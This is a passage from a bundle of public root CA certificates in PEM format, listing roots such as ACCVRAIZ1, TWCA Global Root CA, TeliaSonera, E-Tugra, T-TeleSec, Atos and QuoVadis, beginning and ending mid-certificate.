UxLMVYdh84GuEEZhvUQhuMI9dM9+JDX6HAcOmz0iyu8xL4ysEr3vQCj8KWefshNPZiTEUxnpHikV 7+ZtsH8tZ/3zbBt1RqPlShfppNcL -----END CERTIFICATE----- ACCVRAIZ1 ========= -----BEGIN CERTIFICATE----- MIIH0zCCBbugAwIBAgIIXsO3pkN/pOAwDQYJKoZIhvcNAQEFBQAwQjESMBAGA1UEAwwJQUNDVlJB SVoxMRAwDgYDVQQLDAdQS0lBQ0NWMQ0wCwYDVQQKDARBQ0NWMQswCQYDVQQGEwJFUzAeFw0xMTA1 MDUwOTM3MzdaFw0zMDEyMzEwOTM3MzdaMEIxEjAQBgNVBAMMCUFDQ1ZSQUlaMTEQMA4GA1UECwwH UEtJQUNDVjENMAsGA1UECgwEQUNDVjELMAkGA1UEBhMCRVMwggIiMA0GCSqGSIb3DQEBAQUAA4IC DwAwggIKAoICAQCbqau/YUqXry+XZpp0X9DZlv3P4uRm7x8fRzPCRKPfmt4ftVTdFXxpNRFvu8gM jmoYHtiP2Ra8EEg2XPBjs5BaXCQ316PWywlxufEBcoSwfdtNgM3802/J+Nq2DoLSRYWoG2ioPej0 RGy9ocLLA76MPhMAhN9KSMDjIgro6TenGEyxCQ0jVn8ETdkXhBilyNpAlHPrzg5XPAOBOp0KoVdD aaxXbXmQeOW1tDvYvEyNKKGno6e6Ak4l0Squ7a4DIrhrIA8wKFSVf+DuzgpmndFALW4ir50awQUZ 0m/A8p/4e7MCQvtQqR0tkw8jq8bBD5L/0KIV9VMJcRz/RROE5iZe+OCIHAr8Fraocwa48GOEAqDG WuzndN9wrqODJerWx5eHk6fGioozl2A3ED6XPm4pFdahD9GILBKfb6qkxkLrQaLjlUPTAYVtjrs7 8yM2x/474KElB0iryYl0/wiPgL/AlmXz7uxLaL2diMMxs0Dx6M/2OLuc5NF/1OVYm3z61PMOm3WR 5LpSLhl+0fXNWhn8ugb2+1KoS5kE3fj5tItQo05iifCHJPqDQsGH+tUtKSpacXpkatcnYGMN285J 9Y0fkIkyF/hzQ7jSWpOGYdbhdQrqeWZ2iE9x6wQl1gpaepPluUsXQA+xtrn13k/c4LOsOxFwYIRK Q26ZIMApcQrAZQIDAQABo4ICyzCCAscwfQYIKwYBBQUHAQEEcTBvMEwGCCsGAQUFBzAChkBodHRw Oi8vd3d3LmFjY3YuZXMvZmlsZWFkbWluL0FyY2hpdm9zL2NlcnRpZmljYWRvcy9yYWl6YWNjdjEu Y3J0MB8GCCsGAQUFBzABhhNodHRwOi8vb2NzcC5hY2N2LmVzMB0GA1UdDgQWBBTSh7Tj3zcnk1X2 VuqB5TbMjB4/vTAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFNKHtOPfNyeTVfZW6oHlNsyM Hj+9MIIBcwYDVR0gBIIBajCCAWYwggFiBgRVHSAAMIIBWDCCASIGCCsGAQUFBwICMIIBFB6CARAA QQB1AHQAbwByAGkAZABhAGQAIABkAGUAIABDAGUAcgB0AGkAZgBpAGMAYQBjAGkA8wBuACAAUgBh AO0AegAgAGQAZQAgAGwAYQAgAEEAQwBDAFYAIAAoAEEAZwBlAG4AYwBpAGEAIABkAGUAIABUAGUA YwBuAG8AbABvAGcA7QBhACAAeQAgAEMAZQByAHQAaQBmAGkAYwBhAGMAaQDzAG4AIABFAGwAZQBj AHQAcgDzAG4AaQBjAGEALAAgAEMASQBGACAAUQA0ADYAMAAxADEANQA2AEUAKQAuACAAQwBQAFMA IABlAG4AIABoAHQAdABwADoALwAvAHcAdwB3AC4AYQBjAGMAdgAuAGUAczAwBggrBgEFBQcCARYk aHR0cDovL3d3dy5hY2N2LmVzL2xlZ2lzbGFjaW9uX2MuaHRtMFUGA1UdHwROMEwwSqBIoEaGRGh0 dHA6Ly93d3cuYWNjdi5lcy9maWxlYWRtaW4vQXJjaGl2b3MvY2VydGlmaWNhZG9zL3JhaXphY2N2 MV9kZXIuY3JsMA4GA1UdDwEB/wQEAwIBBjAXBgNVHREEEDAOgQxhY2N2QGFjY3YuZXMwDQYJKoZI hvcNAQEFBQADggIBAJcxAp/n/UNnSEQU5CmH7UwoZtCPNdpNYbdKl02125DgBS4OxnnQ8pdpD70E R9m+27Up2pvZrqmZ1dM8MJP1jaGo/AaNRPTKFpV8M9xii6g3+CfYCS0b78gUJyCpZET/LtZ1qmxN YEAZSUNUY9rizLpm5U9EelvZaoErQNV/+QEnWCzI7UiRfD+mAM/EKXMRNt6GGT6d7hmKG9Ww7Y49 nCrADdg9ZuM8Db3VlFzi4qc1GwQA9j9ajepDvV+JHanBsMyZ4k0ACtrJJ1vnE5Bc5PUzolVt3OAJ TS+xJlsndQAJxGJ3KQhfnlmstn6tn1QwIgPBHnFk/vk4CpYY3QIUrCPLBhwepH2NDd4nQeit2hW3 sCPdK6jT2iWH7ehVRE2I9DZ+hJp4rPcOVkkO1jMl1oRQQmwgEh0q1b688nCBpHBgvgW1m54ERL5h I6zppSSMEYCUWqKiuUnSwdzRp+0xESyeGabu4VXhwOrPDYTkF7eifKXeVSUG7szAh1xA2syVP1Xg Nce4hL60Xc16gwFy7ofmXx2utYXGJt/mwZrpHgJHnyqobalbz+xFd3+YJ5oyXSrjhO7FmGYvliAd 3djDJ9ew+f7Zfc3Qn48LFFhRny+Lwzgt3uiP1o2HpPVWQxaZLPSkVrQ0uGE3ycJYgBugl6H8WY3p EfbRD0tVNEYqi4Y7 -----END CERTIFICATE----- TWCA Global Root CA =================== -----BEGIN CERTIFICATE----- MIIFQTCCAymgAwIBAgICDL4wDQYJKoZIhvcNAQELBQAwUTELMAkGA1UEBhMCVFcxEjAQBgNVBAoT CVRBSVdBTi1DQTEQMA4GA1UECxMHUm9vdCBDQTEcMBoGA1UEAxMTVFdDQSBHbG9iYWwgUm9vdCBD QTAeFw0xMjA2MjcwNjI4MzNaFw0zMDEyMzExNTU5NTlaMFExCzAJBgNVBAYTAlRXMRIwEAYDVQQK EwlUQUlXQU4tQ0ExEDAOBgNVBAsTB1Jvb3QgQ0ExHDAaBgNVBAMTE1RXQ0EgR2xvYmFsIFJvb3Qg Q0EwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCwBdvI64zEbooh745NnHEKH1Jw7W2C nJfF10xORUnLQEK1EjRsGcJ0pDFfhQKX7EMzClPSnIyOt7h52yvVavKOZsTuKwEHktSz0ALfUPZV r2YOy+BHYC8rMjk1Ujoog/h7FsYYuGLWRyWRzvAZEk2tY/XTP3VfKfChMBwqoJimFb3u/Rk28OKR Q4/6ytYQJ0lM793B8YVwm8rqqFpD/G2Gb3PpN0Wp8DbHzIh1HrtsBv+baz4X7GGqcXzGHaL3SekV tTzWoWH1EfcFbx39Eb7QMAfCKbAJTibc46KokWofwpFFiFzlmLhxpRUZyXx1EcxwdE8tmx2RRP1W KKD+u4ZqyPpcC1jcxkt2yKsi2XMPpfRaAok/T54igu6idFMqPVMnaR1sjjIsZAAmY2E2TqNGtz99 sy2sbZCilaLOz9qC5wc0GZbpuCGqKX6mOL6OKUohZnkfs8O1CWfe1tQHRvMq2uYiN2DLgbYPoA/p yJV/v1WRBXrPPRXAb94JlAGD1zQbzECl8LibZ9WYkTunhHiVJqRaCPgrdLQABDzfuBSO6N+pjWxn kjMdwLfS7JLIvgm/LCkFbwJrnu+8vyq8W8BQj0FwcYeyTbcEqYSjMq+u7msXi7Kx/mzhkIyIqJdI zshNy/MGz19qCkKxHh53L46g5pIOBvwFItIm4TFRfTLcDwIDAQABoyMwITAOBgNVHQ8BAf8EBAMC AQYwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAgEAXzSBdu+WHdXltdkCY4QWwa6g cFGn90xHNcgL1yg9iXHZqjNB6hQbbCEAwGxCGX6faVsgQt+i0trEfJdLjbDorMjupWkEmQqSpqsn LhpNgb+E1HAerUf+/UqdM+DyucRFCCEK2mlpc3INvjT+lIutwx4116KD7+U4x6WFH6vPNOw/KP4M 8VeGTslV9xzU2KV9Bnpv1d8Q34FOIWWxtuEXeZVFBs5fzNxGiWNoRI2T9GRwoD2dKAXDOXC4Ynsg /eTb6QihuJ49CcdP+yz4k3ZB3lLg4VfSnQO8d57+nile98FRYB/e2guyLXW3Q0iT5/Z5xoRdgFlg lPx4mI88k1HtQJAH32RjJMtOcQWh15QaiDLxInQirqWm2BJpTGCjAu4r7NRjkgtevi92a6O2JryP A9gK8kxkRr05YuWW6zRjESjMlfGt7+/cgFhI6Uu46mWs6fyAtbXIRfmswZ/ZuepiiI7E8UuDEq3m i4TWnsLrgxifarsbJGAzcMzs9zLzXNl5fe+epP7JI8Mk7hWSsT2RTyaGvWZzJBPqpK5jwa19hAM8 EHiGG3njxPPyBJUgriOCxLM6AGK/5jYk4Ve6xx6QddVfP5VhK8E7zeWzaGHQRiapIVJpLesux+t3 zqY6tQMzT3bR51xUAV3LePTJDL/PEo4XLSNolOer/qmyKwbQBM0= -----END CERTIFICATE----- TeliaSonera Root CA v1 ====================== -----BEGIN CERTIFICATE----- MIIFODCCAyCgAwIBAgIRAJW+FqD3LkbxezmCcvqLzZYwDQYJKoZIhvcNAQEFBQAwNzEUMBIGA1UE CgwLVGVsaWFTb25lcmExHzAdBgNVBAMMFlRlbGlhU29uZXJhIFJvb3QgQ0EgdjEwHhcNMDcxMDE4 MTIwMDUwWhcNMzIxMDE4MTIwMDUwWjA3MRQwEgYDVQQKDAtUZWxpYVNvbmVyYTEfMB0GA1UEAwwW VGVsaWFTb25lcmEgUm9vdCBDQSB2MTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAMK+ 6yfwIaPzaSZVfp3FVRaRXP3vIb9TgHot0pGMYzHw7CTww6XScnwQbfQ3t+XmfHnqjLWCi65ItqwA 3GV17CpNX8GH9SBlK4GoRz6JI5UwFpB/6FcHSOcZrr9FZ7E3GwYq/t75rH2D+1665I+XZ75Ljo1k B1c4VWk0Nj0TSO9P4tNmHqTPGrdeNjPUtAa9GAH9d4RQAEX1jF3oI7x+/jXh7VB7qTCNGdMJjmhn Xb88lxhTuylixcpecsHHltTbLaC0H2kD7OriUPEMPPCs81Mt8Bz17Ww5OXOAFshSsCPN4D7c3TxH oLs1iuKYaIu+5b9y7tL6pe0S7fyYGKkmdtwoSxAgHNN/Fnct7W+A90m7UwW7XWjH1Mh1Fj+JWov3 F0fUTPHSiXk+TT2YqGHeOh7S+F4D4MHJHIzTjU3TlTazN19jY5szFPAtJmtTfImMMsJu7D0hADnJ oWjiUIMusDor8zagrC/kb2HCUQk5PotTubtn2txTuXZZNp1D5SDgPTJghSJRt8czu90VL6R4pgd7 gUY2BIbdeTXHlSw7sKMXNeVzH7RcWe/a6hBle3rQf5+ztCo3O3CLm1u5K7fsslESl1MpWtTwEhDc TwK7EpIvYtQ/aUN8Ddb8WHUBiJ1YFkveupD/RwGJBmr2X7KQarMCpgKIv7NHfirZ1fpoeDVNAgMB AAGjPzA9MA8GA1UdEwEB/wQFMAMBAf8wCwYDVR0PBAQDAgEGMB0GA1UdDgQWBBTwj1k4ALP1j5qW DNXr+nuqF+gTEjANBgkqhkiG9w0BAQUFAAOCAgEAvuRcYk4k9AwI//DTDGjkk0kiP0Qnb7tt3oNm zqjMDfz1mgbldxSR651Be5kqhOX//CHBXfDkH1e3damhXwIm/9fH907eT/j3HEbAek9ALCI18Bmx 0GtnLLCo4MBANzX2hFxc469CeP6nyQ1Q6g2EdvZR74NTxnr/DlZJLo961gzmJ1TjTQpgcmLNkQfW pb/ImWvtxBnmq0wROMVvMeJuScg/doAmAyYp4Db29iBT4xdwNBedY2gea+zDTYa4EzAvXUYNR0PV G6pZDrlcjQZIrXSHX8f8MVRBE+LHIQ6e4B4N4cB7Q4WQxYpYxmUKeFfyxiMPAdkgS94P+5KFdSpc c41teyWRyu5FrgZLAMzTsVlQ2jqIOylDRl6XK1TOU2+NSueW+r9xDkKLfP0ooNBIytrEgUy7onOT JsjrDNYmiLbAJM+7vVvrdX3pCI6GMyx5dwlppYn8s3CQh3aP0yK7Qs69cwsgJirQmz1wHiRszYd2 qReWt88NkvuOGKmYSdGe/mBEciG5Ge3C9THxOUiIkCR1VBatzvT4aRRkOfujuLpwQMcnHL/EVlP6 Y2XQ8xwOFvVrhlhNGNTkDY6lnVuR3HYkUD/GKvvZt5y11ubQ2egZixVxSK236thZiNSQvxaz2ems WWFUyBy6ysHK4bkgTI86k4mloMy/0/Z1pHWWbVY= -----END CERTIFICATE----- E-Tugra Certification Authority =============================== -----BEGIN CERTIFICATE----- MIIGSzCCBDOgAwIBAgIIamg+nFGby1MwDQYJKoZIhvcNAQELBQAwgbIxCzAJBgNVBAYTAlRSMQ8w DQYDVQQHDAZBbmthcmExQDA+BgNVBAoMN0UtVHXEn3JhIEVCRyBCaWxpxZ9pbSBUZWtub2xvamls ZXJpIHZlIEhpem1ldGxlcmkgQS7Fni4xJjAkBgNVBAsMHUUtVHVncmEgU2VydGlmaWthc3lvbiBN ZXJrZXppMSgwJgYDVQQDDB9FLVR1Z3JhIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTEzMDMw NTEyMDk0OFoXDTIzMDMwMzEyMDk0OFowgbIxCzAJBgNVBAYTAlRSMQ8wDQYDVQQHDAZBbmthcmEx QDA+BgNVBAoMN0UtVHXEn3JhIEVCRyBCaWxpxZ9pbSBUZWtub2xvamlsZXJpIHZlIEhpem1ldGxl cmkgQS7Fni4xJjAkBgNVBAsMHUUtVHVncmEgU2VydGlmaWthc3lvbiBNZXJrZXppMSgwJgYDVQQD DB9FLVR1Z3JhIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIICIjANBgkqhkiG9w0BAQEFAAOCAg8A MIICCgKCAgEA4vU/kwVRHoViVF56C/UYB4Oufq9899SKa6VjQzm5S/fDxmSJPZQuVIBSOTkHS0vd hQd2h8y/L5VMzH2nPbxHD5hw+IyFHnSOkm0bQNGZDbt1bsipa5rAhDGvykPL6ys06I+XawGb1Q5K CKpbknSFQ9OArqGIW66z6l7LFpp3RMih9lRozt6Plyu6W0ACDGQXwLWTzeHxE2bODHnv0ZEoq1+g ElIwcxmOj+GMB6LDu0rw6h8VqO4lzKRG+Bsi77MOQ7osJLjFLFzUHPhdZL3Dk14opz8n8Y4e0ypQ BaNV2cvnOVPAmJ6MVGKLJrD3fY185MaeZkJVgkfnsliNZvcHfC425lAcP9tDJMW/hkd5s3kc91r0 E+xs+D/iWR+V7kI+ua2oMoVJl0b+SzGPWsutdEcf6ZG33ygEIqDUD13ieU/qbIWGvaimzuT6w+Gz rt48Ue7LE3wBf4QOXVGUnhMMti6lTPk5cDZvlsouDERVxcr6XQKj39ZkjFqzAQqptQpHF//vkUAq jqFGOjGY5RH8zLtJVor8udBhmm9lbObDyz51Sf6Pp+KJxWfXnUYTTjF2OySznhFlhqt/7x3U+Lzn rFpct1pHXFXOVbQicVtbC/DP3KBhZOqp12gKY6fgDT+gr9Oq0n7vUaDmUStVkhUXU8u3Zg5mTPj5 dUyQ5xJwx0UCAwEAAaNjMGEwHQYDVR0OBBYEFC7j27JJ0JxUeVz6Jyr+zE7S6E5UMA8GA1UdEwEB /wQFMAMBAf8wHwYDVR0jBBgwFoAULuPbsknQnFR5XPonKv7MTtLoTlQwDgYDVR0PAQH/BAQDAgEG MA0GCSqGSIb3DQEBCwUAA4ICAQAFNzr0TbdF4kV1JI+2d1LoHNgQk2Xz8lkGpD4eKexd0dCrfOAK kEh47U6YA5n+KGCRHTAduGN8qOY1tfrTYXbm1gdLymmasoR6d5NFFxWfJNCYExL/u6Au/U5Mh/jO XKqYGwXgAEZKgoClM4so3O0409/lPun++1ndYYRP0lSWE2ETPo+Aab6TR7U1Q9Jauz1c77NCR807 VRMGsAnb/WP2OogKmW9+4c4bU2pEZiNRCHu8W1Ki/QY3OEBhj0qWuJA3+GbHeJAAFS6LrVE1Uweo a2iu+U48BybNCAVwzDk/dr2l02cmAYamU9JgO3xDf1WKvJUawSg5TB9D0pH0clmKuVb8P7Sd2nCc dlqMQ1DujjByTd//SffGqWfZbawCEeI6FiWnWAjLb1NBnEg4R2gz0dfHj9R0IdTDBZB6/86WiLEV KV0jq9BgoRJP3vQXzTLlyb/IQ639Lo7xr+L0mPoSHyDYwKcMhcWQ9DstliaxLL5Mq+ux0orJ23gT Dx4JnW2PAJ8C2sH6H3p6CcRK5ogql5+Ji/03X186zjhZhkuvcQu02PJwT58yE+Owp1fl2tpDy4Q0 8ijE6m30Ku/Ba3ba+367hTzSU8JNvnHhRdH9I2cNE3X7z2VnIp2usAnRCf8dNL/+I5c30jn6PQ0G C7TbO6Orb1wdtn7os4I07QZcJA== -----END CERTIFICATE----- T-TeleSec GlobalRoot Class 2 ============================ -----BEGIN CERTIFICATE----- MIIDwzCCAqugAwIBAgIBATANBgkqhkiG9w0BAQsFADCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoM IlQtU3lzdGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBU cnVzdCBDZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDIwHhcNMDgx MDAxMTA0MDE0WhcNMzMxMDAxMjM1OTU5WjCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoMIlQtU3lz dGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBD ZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDIwggEiMA0GCSqGSIb3 DQEBAQUAA4IBDwAwggEKAoIBAQCqX9obX+hzkeXaXPSi5kfl82hVYAUdAqSzm1nzHoqvNK38DcLZ SBnuaY/JIPwhqgcZ7bBcrGXHX+0CfHt8LRvWurmAwhiCFoT6ZrAIxlQjgeTNuUk/9k9uN0goOA/F vudocP05l03Sx5iRUKrERLMjfTlH6VJi1hKTXrcxlkIF+3anHqP1wvzpesVsqXFP6st4vGCvx970 2cu+fjOlbpSD8DT6IavqjnKgP6TeMFvvhk1qlVtDRKgQFRzlAVfFmPHmBiiRqiDFt1MmUUOyCxGV WOHAD3bZwI18gfNycJ5v/hqO2V81xrJvNHy+SE/iWjnX2J14np+GPgNeGYtEotXHAgMBAAGjQjBA MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBS/WSA2AHmgoCJrjNXy YdK4LMuCSjANBgkqhkiG9w0BAQsFAAOCAQEAMQOiYQsfdOhyNsZt+U2e+iKo4YFWz827n+qrkRk4 r6p8FU3ztqONpfSO9kSpp+ghla0+AGIWiPACuvxhI+YzmzB6azZie60EI4RYZeLbK4rnJVM3YlNf vNoBYimipidx5joifsFvHZVwIEoHNN/q/xWA5brXethbdXwFeilHfkCoMRN3zUA7tFFHei4R40cR 3p1m0IvVVGb6g1XqfMIpiRvpb7PO4gWEyS8+eIVibslfwXhjdFjASBgMmTnrpMwatXlajRWc2BQN 9noHV8cigwUtPJslJj0Ys6lDfMjIq2SPDqO/nBudMNva0Bkuqjzx+zOAduTNrRlPBSeOE6Fuwg== -----END CERTIFICATE----- Atos TrustedRoot 2011 ===================== -----BEGIN CERTIFICATE----- MIIDdzCCAl+gAwIBAgIIXDPLYixfszIwDQYJKoZIhvcNAQELBQAwPDEeMBwGA1UEAwwVQXRvcyBU cnVzdGVkUm9vdCAyMDExMQ0wCwYDVQQKDARBdG9zMQswCQYDVQQGEwJERTAeFw0xMTA3MDcxNDU4 MzBaFw0zMDEyMzEyMzU5NTlaMDwxHjAcBgNVBAMMFUF0b3MgVHJ1c3RlZFJvb3QgMjAxMTENMAsG A1UECgwEQXRvczELMAkGA1UEBhMCREUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCV hTuXbyo7LjvPpvMpNb7PGKw+qtn4TaA+Gke5vJrf8v7MPkfoepbCJI419KkM/IL9bcFyYie96mvr 54rMVD6QUM+A1JX76LWC1BTFtqlVJVfbsVD2sGBkWXppzwO3bw2+yj5vdHLqqjAqc2K+SZFhyBH+ DgMq92og3AIVDV4VavzjgsG1xZ1kCWyjWZgHJ8cblithdHFsQ/H3NYkQ4J7sVaE3IqKHBAUsR320 HLliKWYoyrfhk/WklAOZuXCFteZI6o1Q/NnezG8HDt0Lcp2AMBYHlT8oDv3FdU9T1nSatCQujgKR z3bFmx5VdJx4IbHwLfELn8LVlhgf8FQieowHAgMBAAGjfTB7MB0GA1UdDgQWBBSnpQaxLKYJYO7R l+lwrrw7GWzbITAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFKelBrEspglg7tGX6XCuvDsZ bNshMBgGA1UdIAQRMA8wDQYLKwYBBAGwLQMEAQEwDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3DQEB CwUAA4IBAQAmdzTblEiGKkGdLD4GkGDEjKwLVLgfuXvTBznk+j57sj1O7Z8jvZfza1zv7v1Apt+h k6EKhqzvINB5Ab149xnYJDE0BAGmuhWawyfc2E8PzBhj/5kPDpFrdRbhIfzYJsdHt6bPWHJxfrrh TZVHO8mvbaG0weyJ9rQPOLXiZNwlz6bb65pcmaHFCN795trV1lpFDMS3wrUU77QR/w4VtfX128a9 61qn8FYiqTxlVMYVqL2Gns2Dlmh6cYGJ4Qvh6hEbaAjMaZ7snkGeRDImeuKHCnE96+RapNLbxc3G 3mB/ufNPRJLvKrcYPqcZ2Qt9sTdBQrC6YB3y/gkRsPCHe6ed -----END CERTIFICATE----- QuoVadis Root CA 1 G3 ===================== -----BEGIN CERTIFICATE----- MIIFYDCCA0igAwIBAgIUeFhfLq0sGUvjNwc1NBMotZbUZZMwDQYJKoZIhvcNAQELBQAwSDELMAkG A1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxHjAcBgNVBAMTFVF1b1ZhZGlzIFJv b3QgQ0EgMSBHMzAeFw0xMjAxMTIxNzI3NDRaFw00MjAxMTIxNzI3NDRaMEgxCzAJBgNVBAYTAkJN MRkwFwYDVQQKExBRdW9WYWRpcyBMaW1pdGVkMR4wHAYDVQQDExVRdW9WYWRpcyBSb290IENBIDEg RzMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCgvlAQjunybEC0BJyFuTHK3C3kEakE PBtVwedYMB0ktMPvhd6MLOHBPd+C5k+tR4ds7FtJwUrVu4/sh6x/gpqG7D0DmVIB0jWerNrwU8lm PNSsAgHaJNM7qAJGr6Qc4/hzWHa39g6QDbXwz8z6+cZM5cOGMAqNF34168Xfuw6cwI2H44g4hWf6 Pser4BOcBRiYz5P1sZK0/CPTz9XEJ0ngnjybCKOLXSoh4Pw5qlPafX7PGglTvF0FBM+hSo+LdoIN ofjSxxR3W5A2B4GbPgb6Ul5jxaYA/qXpUhtStZI5cgMJYr2wYBZupt0lwgNm3fME0UDiTouG9G/l g6AnhF4EwfWQvTA9xO+oabw4m6SkltFi2mnAAZauy8RRNOoMqv8hjlmPSlzkYZqn0ukqeI1RPToV 7qJZjqlc3sX5kCLliEVx3ZGZbHqfPT2YfF72vhZooF6uCyP8Wg+qInYtyaEQHeTTRCOQiJ/GKubX 9ZqzWB4vMIkIG1SitZgj7Ah3HJVdYdHLiZxfokqRmu8hqkkWCKi9YSgxyXSthfbZxbGL0eUQMk1f iyA6PEkfM4VZDdvLCXVDaXP7a3F98N/ETH3Goy7IlXnLc6KOTk0k+17kBL5yG6YnLUlamXrXXAkg t3+UuU/xDRxeiEIbEbfnkduebPRq34wGmAOtzCjvpUfzUwIDAQABo0IwQDAPBgNVHRMBAf8EBTAD AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUo5fW816iEOGrRZ88F2Q87gFwnMwwDQYJKoZI hvcNAQELBQADggIBABj6W3X8PnrHX3fHyt/PX8MSxEBd1DKquGrX1RUVRpgjpeaQWxiZTOOtQqOC MTaIzen7xASWSIsBx40Bz1szBpZGZnQdT+3Btrm0DWHMY37XLneMlhwqI2hrhVd2cDMT/uFPpiN3 GPoajOi9ZcnPP/TJF9zrx7zABC4tRi9pZsMbj/7sPtPKlL92CiUNqXsCHKnQO18LwIE6PWThv6ct Tr1NxNgpxiIY0MWscgKCP6o6ojoilzHdCGPDdRS5YCgtW2jgFqlmgiNR9etT2DGbe+m3nUvriBbP +V04ikkwj+3x6xn0dxoxGE1nVGwvb2X52z3sIexe9PSLymBlVNFxZPT5pqOBMzYzcfCkeF9OrYMh 3jRJjehZrJ3ydlo28hP0r+AJx2EqbPfgna67hkooby7utHnNkDPDs3b69fBsnQGQ+p6Q9pxyz0fa wx/kNSBT8lTR32GDpgLiJTjehTItXnOQUl1CxM49S+H5GYQd1aJQzEH7QRTDvdbJWqNjZgKAvQU6 O0ec7AAmTPWIUb+oI38YB7AL7YsmoWTTYUrrXJ/es69nA7Mf3W1daWhpq1467HxpvMc7hU6eFbm0 FU/DlXpY18ls6Wy58yljXrQs8C097Vpl4KlbQMJImYFtnh8GKjwStIsPm6Ik8KaN1nrgS7ZklmOV hMJKzRwuJIczYOXD -----END CERTIFICATE----- QuoVadis Root CA 2 G3 ===================== -----BEGIN CERTIFICATE----- MIIFYDCCA0igAwIBAgIURFc0JFuBiZs18s64KztbpybwdSgwDQYJKoZIhvcNAQELBQAwSDELMAkG A1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxHjAcBgNVBAMTFVF1b1ZhZGlzIFJv b3QgQ0EgMiBHMzAeFw0xMjAxMTIxODU5MzJaFw00MjAxMTIxODU5MzJaMEgxCzAJBgNVBAYTAkJN MRkwFwYDVQQKExBRdW9WYWRpcyBMaW1pdGVkMR4wHAYDVQQDExVRdW9WYWRpcyBSb290IENBIDIg RzMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQChriWyARjcV4g/Ruv5r+LrI3HimtFh ZiFfqq8nUeVuGxbULX1QsFN3vXg6YOJkApt8hpvWGo6t/x8Vf9WVHhLL5hSEBMHfNrMWn4rjyduY NM7YMxcoRvynyfDStNVNCXJJ+fKH46nafaF9a7I6JaltUkSs+L5u+9ymc5GQYaYDFCDy54ejiK2t oIz/pgslUiXnFgHVy7g1gQyjO/Dh4fxaXc6AcW34Sas+O7q414AB+6XrW7PFXmAqMaCvN+ggOp+o MiwMzAkd056OXbxMmO7FGmh77FOm6RQ1o9/NgJ8MSPsc9PG/Srj61YxxSscfrf5BmrODXfKEVu+l V0POKa2Mq1W/xPtbAd0jIaFYAI7D0GoT7RPjEiuA3GfmlbLNHiJuKvhB1PLKFAeNilUSxmn1uIZo L1NesNKqIcGY5jDjZ1XHm26sGahVpkUG0CM62+tlXSoREfA7T8pt9DTEceT/AFr2XK4jYIVz8eQQ sSWu1ZK7E8EM4DnatDlXtas1qnIhO4M15zHfeiFuuDIIfR0ykRVKYnLP43ehvNURG3YBZwjgQQvD 6xVu+KQZ2aKrr+InUlYrAoosFCT5v0ICvybIxo/gbjh9Uy3l7ZizlWNof/k19N+IxWA1ksB8aRxh lRbQ694Lrz4EEEVlWFA4r0jyWbYW8jwNkALGcC4BrTwV1wIDAQABo0IwQDAPBgNVHRMBAf8EBTAD AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQU7edvdlq/YOxJW8ald7tyFnGbxD0wDQYJKoZI hvcNAQELBQADggIBAJHfgD9DCX5xwvfrs4iP4VGyvD11+ShdyLyZm3tdquXK4Qr36LLTn91nMX66 AarHakE7kNQIXLJgapDwyM4DYvmL7ftuKtwGTTwpD4kWilhMSA/ohGHqPHKmd+RCroijQ1h5fq7K pVMNqT1wvSAZYaRsOPxDMuHBR//47PERIjKWnML2W2mWeyAMQ0GaW/ZZGYjeVYg3UQt4XAoeo0L9 x52ID8DyeAIkVJOviYeIyUqAHerQbj5hLja7NQ4nlv1mNDthcnPxFlxHBlRJAHpYErAK74X9sbgz dWqTHBLmYF5vHX/JHyPLhGGfHoJE+V+tYlUkmlKY7VHnoX6XOuYvHxHaU4AshZ6rNRDbIl9qxV6X U/IyAgkwo1jwDQHVcsaxfGl7w/U2Rcxhbl5MlMVerugOXou/983g7aEOGzPuVBj+D77vfoRrQ+Nw mNtddbINWQeFFSM51vHfqSYP1kjHs6Yi9TM3WpVHn3u6GBVv/9YUZINJ0gpnIdsPNWNgKCLjsZWD zYWm3S8P52dSbrsvhXz1SnPnxT7AvSESBT/8twNJAlvIJebiVDj1eYeMHVOyToV7BjjHLPj4sHKN JeV3UvQDHEimUF+IIDBu8oJDqz2XhOdT+yHBTw8imoa4WSr2Rz0ZiC3oheGe7IUIarFsNMkd7Egr O3jtZsSOeWmD3n+M -----END CERTIFICATE----- QuoVadis Root CA 3 G3 ===================== -----BEGIN CERTIFICATE----- MIIFYDCCA0igAwIBAgIULvWbAiin23r/1aOp7r0DoM8Sah0wDQYJKoZIhvcNAQELBQAwSDELMAkG A1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxHjAcBgNVBAMTFVF1b1ZhZGlzIFJv b3QgQ0EgMyBHMzAeFw0xMjAxMTIyMDI2MzJaFw00MjAxMTIyMDI2MzJaMEgxCzAJBgNVBAYTAkJN MRkwFwYDVQQKExBRdW9WYWRpcyBMaW1pdGVkMR4wHAYDVQQDExVRdW9WYWRpcyBSb290IENBIDMg RzMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCzyw4QZ47qFJenMioKVjZ/aEzHs286 